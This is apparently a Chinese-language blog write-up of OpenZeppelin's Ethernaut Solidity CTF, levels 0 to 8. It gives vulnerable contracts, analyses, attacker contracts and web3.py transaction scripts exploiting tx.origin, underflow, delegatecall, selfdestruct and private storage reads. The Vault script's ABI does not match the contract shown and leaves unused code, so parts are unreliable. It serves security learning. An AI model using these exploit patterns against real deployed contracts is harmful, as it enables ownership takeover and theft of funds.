tohka

tohka

Hack for fun!
twitter
github

Ethernaut闖關小記

本系列是OpenZeppelin Ethernaut CTF 的闖關記錄,旨在邊玩邊學習 Solidity 安全

#0 Hello Ethernaut#

1. Set up MetaMask#

安裝 MetaMask 插件,略

2. Open the browser's console#

輸入player查看自己錢包的地址

image

3. Use the console helpers#

調用getBalance(player)進行交互

image

4. The ethernaut contract#

輸入ethernaut查看合約信息

image

5. Interact with the ABI#

合約的 ABI 接口會暴露合約的 public 方法,可以進行一些簡單的交互比如ethernaut.owner()

image

6. Get test ether#

上水龍頭領 ETH

https://faucet.rinkeby.io/

https://faucets.chain.link/rinkeby

https://faucet.paradigm.xyz/

7. Getting a level instance#

生成合約實例

image

8. Inspecting the contract#

image

9. Interact with the contract to complete the level#

根據指示進行層層調用

image

image

image

image

image

WIn!

image

附上通關後給出的完整合約代碼

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Instance {

  string public password;
  uint8 public infoNum = 42;
  string public theMethodName = 'The method name is method7123949.';
  bool private cleared = false;

  // constructor
  constructor(string memory _password) public {
    password = _password;
  }

  function info() public pure returns (string memory) {
    return 'You will find what you need in info1().';
  }

  function info1() public pure returns (string memory) {
    return 'Try info2(), but with "hello" as a parameter.';
  }

  function info2(string memory param) public pure returns (string memory) {
    if(keccak256(abi.encodePacked(param)) == keccak256(abi.encodePacked('hello'))) {
      return 'The property infoNum holds the number of the next info method to call.';
    }
    return 'Wrong parameter.';
  }

  function info42() public pure returns (string memory) {
    return 'theMethodName is the name of the next method.';
  }

  function method7123949() public pure returns (string memory) {
    return 'If you know the password, submit it to authenticate().';
  }

  function authenticate(string memory passkey) public {
    if(keccak256(abi.encodePacked(passkey)) == keccak256(abi.encodePacked(password))) {
      cleared = true;
    }
  }

  function getCleared() public view returns (bool) {
    return cleared;
  }
}

#1 Fallback#

合約代碼

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallback {

  using SafeMath for uint256;
  mapping(address => uint) public contributions;
  address payable public owner;

  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

通關條件

  1. 獲得這個合約的所有權
  2. 把他的餘額減到 0

這可能有幫助

  • 如何通過與 ABI 互動發送 ether
  • 如何在 ABI 之外發送 ether
  • 轉換 wei/ether 單位 (參見 help() 命令)
  • Fallback 方法

首先觀察合約,要獲得合約的所有權則要使owner=msg.sender

除了構造方法外,只有兩個入口滿足

image

image

接下來分析下被觸發的可能性

contribute()中需要msg.sender的貢獻值大於owner, 而owner的貢獻值為1000eth, 因此我們很難利用這個函數

再來看看receive()函數,只需要觸發這個函數並且滿足msg.valuemsg.sender的貢獻值大於 0 即可

而對於receive()fallback的觸發由下圖可以表示

觸發fallback()  還是 receive()?
           接收ETH
              |
         msg.data是空?
            /  \
          是    否
          /      \
receive()存在?   fallback()
        / \
       是  否
      /     \
receive()   fallback()

所以整體攻擊思路如下

  1. 先調用contribute()同時設置msg.value < 0.001 eth

  2. 調用轉賬,設置msg.value = 0.0001(大於 0 即可),以觸發receive()

  3. 調用withdraw(),轉空合約

攻擊流程

image

image

image

然後進行 check

image

#2 Fallout#

合約代碼

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallout {
  
  using SafeMath for uint256;
  mapping (address => uint) allocations;
  address payable public owner;

  // constructor 
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  modifier onlyOwner {
	        require(
	            msg.sender == owner,
	            "caller is not the owner"
	        );
	        _;
	    }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address payable allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(address(this).balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}

通關條件

  1. 獲得合約所有權

合約分析

這個合約實現了類似存款取款查詢餘額的功能

和上題一樣,要獲得合約所有權就得關注owner = msg.sender代碼

經過仔細的對比,發現Fal1out()Fallout相差一個字符,所以這個合約並無構造函數,而Fal1out()只是作為一個 public 的方法而存在,那麼只要調用這個函數即可

攻擊流程

通過查看owner地址是默認值可以證實我們上述分析

image

調用並完成攻擊即可獲得合約擁有權

image

Win!

image

#3 Coin Flip#

合約代碼

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

通關條件

  1. consecutiveWins大於 10

合約分析

FACTOR 的值其實就是就是 2^255, 可以使區塊的 hash 隨機分至 true/false

而攻擊這個合約最重要的一點就是知道它的blockValue

又由於我們只能通過block.number獲取當前交易所處的區塊,由於以太坊網絡中的交易一直在持續進行,下一次交易的區塊大概率會變更。

不過如果我們能夠控制攻擊合約和被攻擊合約的交易的時間差極小,就能使其他們的交易屬於同一個區塊

我們可以通過攻擊合約先計算當前的blockValuecoinFlip再調用被攻擊合約的flip()就能使得每次的 guess 都正確了,然後再調用十次攻擊合約,就能使得consecutiveWins大於 10

Exp

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '../SafeMath.sol';

// 利用 多筆交易同一区块的特性
contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}


contract Attack {
    using SafeMath for uint256;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    CoinFlip hackFilp;
    
    function Target(address target) public {
        hackFilp = CoinFlip(target);
    }

    function flip() public {
        uint blockValue = uint256(blockhash(block.number.sub(1)));

        if (lastHash == blockValue){
            revert();
        }

        lastHash = blockValue;

        uint coinFlip = blockValue.div(FACTOR);
        bool side = coinFlip == 1 ? true : false;
        if(side == true){
            // 調用被攻擊者的合約的flip函數 flip(true);
            hackFilp.flip(true);
        }else{
            // 調用被攻擊者的合約的flip函數 flip(false);
            hackFilp.flip(false);
        }
    }
}

攻擊流程

獲取被攻擊合約地址

image

進行攻擊合約的部署和初始化Target

image

調用一次flip()
image

連續調用 10 次即可

image

Win!!

image

#4 Telephone#

考察內容:tx.origin

合約代碼#

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

透過條件#

  1. 獲得合約的所有權

合約分析#

整個合約代碼很短,出現了一個之前沒有接觸過的概念tx.origin, 它的值是遍歷整個調用棧並返回最初發送調用(或交易)的帳戶的地址

那麼我們只要使得調用changeOwner的地址不是和被攻擊合約的msg.sender相同即可

那麼就可以通過部署一個攻擊合約然後達成間接調用的目的

Exp#

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

contract Attack {
    Telephone hackTelphone;


    function Init(address _address) public{
        hackTelphone = Telephone(_address);
    }


    function attack()  public {
        hackTelphone.changeOwner(msg.sender);
    }
}

攻擊流程#

獲取被攻擊合約的地址

image

部署攻擊合約並調用attack()

image

查看contract.owner時發現已經改變了

image

image

Win!!

image

#5 Token#

考察內容:外部帳戶和合約帳戶、整數溢出

合約代碼#

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

透過條件#

  1. 增加手中的 token 數量

合約分析#

依舊是外部帳戶和合約帳戶的問題,一個外部帳戶可以創建多個合約帳戶。

這裡貼上 CTFWIKI 上面的解釋

image

在這裡我們可以調用將合約帳戶裡面的初始的token轉到外部帳戶

Exp#

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {  // 外部帳戶和合約帳戶的區別

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

contract Attack {
    Token hackToken;

    function init(address _addr) public {
        hackToken = Token(_addr);
    }

    function hack() public {
        hackToken.transfer(msg.sender,5);
    }

}

攻擊流程#

獲取被攻擊合約地址

image

部署攻擊合約

image

發現外部帳戶的 token 數量已經發生了改變

image

win!!

image

題外話 —— 整數溢出漏洞#

值得注意的是這裡的版本小於 0.8.0,如果不用safeMath庫的話是會存在整數溢出漏洞的

我們可以將這裡的攻擊代碼改成下圖形式

image

發現可以繞過這裡的校驗 即20-21=2^256-1

image

image

#6 Delegation#

考察內容:Delegation 攻擊

合約代碼#

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Delegate {

  address public owner;

  constructor(address _owner) public {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) public {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}

透過條件#

  • 將 Delegation 合約的 owner 修改成 Attacker 的

前置知識(合約調用的三種方式)#

_Name (_Address).f () 形式#

通常利用合約的地址和合約代碼 (ABI 接口) 來創建合約的引用:_Name(_Address),其中_Name是合約名,_Address是合約地址。然後用合約的引用來調用它的函數:_Name(_Address).f(),其中f()是要調用的函數

Call#

calladdress類型的低級成員函數,它用來與其他合約交互。它的返回值為(bool, data),分別對應call是否成功以及目標函數的返回值。

Call的使用規則:

目標合約地址.call{value:發送數額, gas:gas數額}(abi.encodeWithSignature("函數簽名", 逗號分隔的具體參數))

Delegatecall#

Delegatecall的使用規則與Call類似,一個比較大的區別是執行上下文的不同。

Call 的執行上下文

call 的語境

DelegateCall的執行上下文

delegatecall 的語境

合約分析#

題目給了兩個合約,一個是Delegate合約,是被委託執行的合約,另一個是Delegation合約,是委託他人執行的合約

首先來分析Delegate合約,這個合約的內容很簡單,唯一一個比較引人注意的便是pwn()函數,pwn()函數可以改變owner ,是優先利用的函數

再來看看Delegation合約,這個合約裡進行了DelegateCall的操作,而我們需要對其進行觸發,也就是觸發fallback()函數,而觸發fallback()函數則需要調用一個不存在的函數,而這個不存在的函數剛好用pwn()函數替代便可以完成完整的觸發鏈

image

Exp#

from web3 import Web3

rpc_url = 'https://sepolia.infura.io/v3/{}' # # fill with your rpc_url

w3 = Web3(Web3.HTTPProvider(rpc_url))

assert w3.isConnected()

private_key = '' # fill with your private_key
account = w3.eth.account.privateKeyToAccount(private_key) 

vul_addr = '0x0f5343F75EFF3d28F32954E2497F3f3Ddadb9837'
vul_abi = [
	{
		"inputs": [
			{
				"internalType": "address",
				"name": "_owner",
				"type": "address"
			}
		],
		"stateMutability": "nonpayable",
		"type": "constructor"
	},
	{
		"inputs": [],
		"name": "owner",
		"outputs": [
			{
				"internalType": "address",
				"name": "",
				"type": "address"
			}
		],
		"stateMutability": "view",
		"type": "function"
	},
	{
		"inputs": [],
		"name": "pwn",
		"outputs": [],
		"stateMutability": "nonpayable",
		"type": "function"
	}
]
vul_contarct = w3.eth.contract(address=vul_addr, abi=vul_abi)

TransactionData ={
    'chainId': w3.eth.chain_id,
    'from': account.address,
    'to':vul_addr,
    'gas': 3000000,
    'gasPrice': w3.toWei(7000000000,'wei'),
    'nonce': w3.eth.getTransactionCount(account.address),
    'value': w3.toWei(0,'wei'),
    'data':w3.keccak(text="pwn()")[0:10]
}

signed_txn = w3.eth.account.signTransaction(TransactionData, private_key)
txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
print(txn_hash)
txrecipet = w3.eth.waitForTransactionReceipt(txn_hash)
print(txrecipet)

#7 Force#

考察內容:Selfdestruct 攻擊

合約代碼#

合約內沒有內容!

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}

透過條件#

  • 使合約的 Balance>0

前置知識#

關於 Selfdestruct 可以看慢霧的文章, 筆者在此就不作贅述了

合約分析#

言簡意賅,通過一個合約的 Selfdestruct 來進行強制轉賬

EXP#

// SPDX-License-Identifier: MIT

pragma solidity ^0.4.0-0.8.15;

contract Attack {

  constructor() public payable{} // 使得可以在部署的時候接收eth,以便之後通過Selfdestruct轉給被攻擊合約

  function attack(address addr) public {
  	selfdestruct(addr);
  }
}

Win!

image

#8 Vault#

考察內容:訪問私有數據

合約代碼#

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Vault {
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) public {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}

透過條件#

  • 使合約的 locked = false

前置知識#

關於訪問私有數據可以看慢霧的文章, 筆者在此就不作贅述了

合約分析#

言簡意賅,訪問到 password 所在的插槽的數據即可

password所在的是slot1

EXP#

from web3 import Web3

rpc_url = 'https://sepolia.infura.io/v3/{}' # fill with your rpc_url

w3 = Web3(Web3.HTTPProvider(rpc_url))

assert w3.isConnected()

private_key = '' # fill with your private_key
account = w3.eth.account.privateKeyToAccount(private_key) 

vul_addr = '0x2A6A452B0E0aB8F4dD9d6C210853D21B389684E7'
vul_abi = [
    {
        "inputs": [
            {
                "internalType": "bytes32[3]",
                "name": "_data",
                "type": "bytes32[3]"
            }
        ],
        "stateMutability": "nonpayable",
        "type": "constructor"
    },
    {
        "inputs": [],
        "name": "ID",
        "outputs": [
            {
                "internalType": "uint256",
                "name": "",
                "type": "uint256"
            }
        ],
        "stateMutability": "view",
        "type": "function",
        "constant": "true",
        "signature": "0xb3cea217"
    },
    {
        "inputs": [],
        "name": "locked",
        "outputs": [
            {
                "internalType": "bool",
                "name": "",
                "type": "bool"
            }
        ],
        "stateMutability": "view",
        "type": "function",
        "constant": "true",
        "signature": "0xcf309012"
    },
    {
        "inputs": [
            {
                "internalType": "bytes16",
                "name": "_key",
                "type": "bytes16"
            }
        ],
        "name": "unlock",
        "outputs": [],
        "stateMutability": "nonpayable",
        "type": "function",
        "signature": "0xe1afb08c"
    }
]
vul_contarct = w3.eth.contract(address=vul_addr, abi=vul_abi)

slot1 = w3.eth.get_storage_at(vul_addr,0x1)
password=w3.toHex(slot1)

TransactionData ={
    'chainId': w3.eth.chain_id,
    'from': account.address,
    'to':vul_addr,
    'gas': 3000000,
    'gasPrice': w3.toWei(7000000000,'wei'),
    'nonce': w3.eth.getTransactionCount(account.address),
    'value': w3.toWei(0,'wei'),
    'data':w3.keccak(text="pwn()")[0:10]
}

TransactionData = vul_contarct.functions['unlock'](password).buildTransaction({
    'chainId': w3.eth.chain_id,
    'from': account.address,
    'gas': 3000000,
    'gasPrice': w3.toWei(7000000000,'wei'),
    'nonce': w3.eth.getTransactionCount(account.address),
    'value': w3.toWei(0,'wei')
})

signed_txn = w3.eth.account.signTransaction(TransactionData, private_key)
txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
print(txn_hash)
txrecipet = w3.eth.waitForTransactionReceipt(txn_hash)
print(txrecipet)

Win!

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。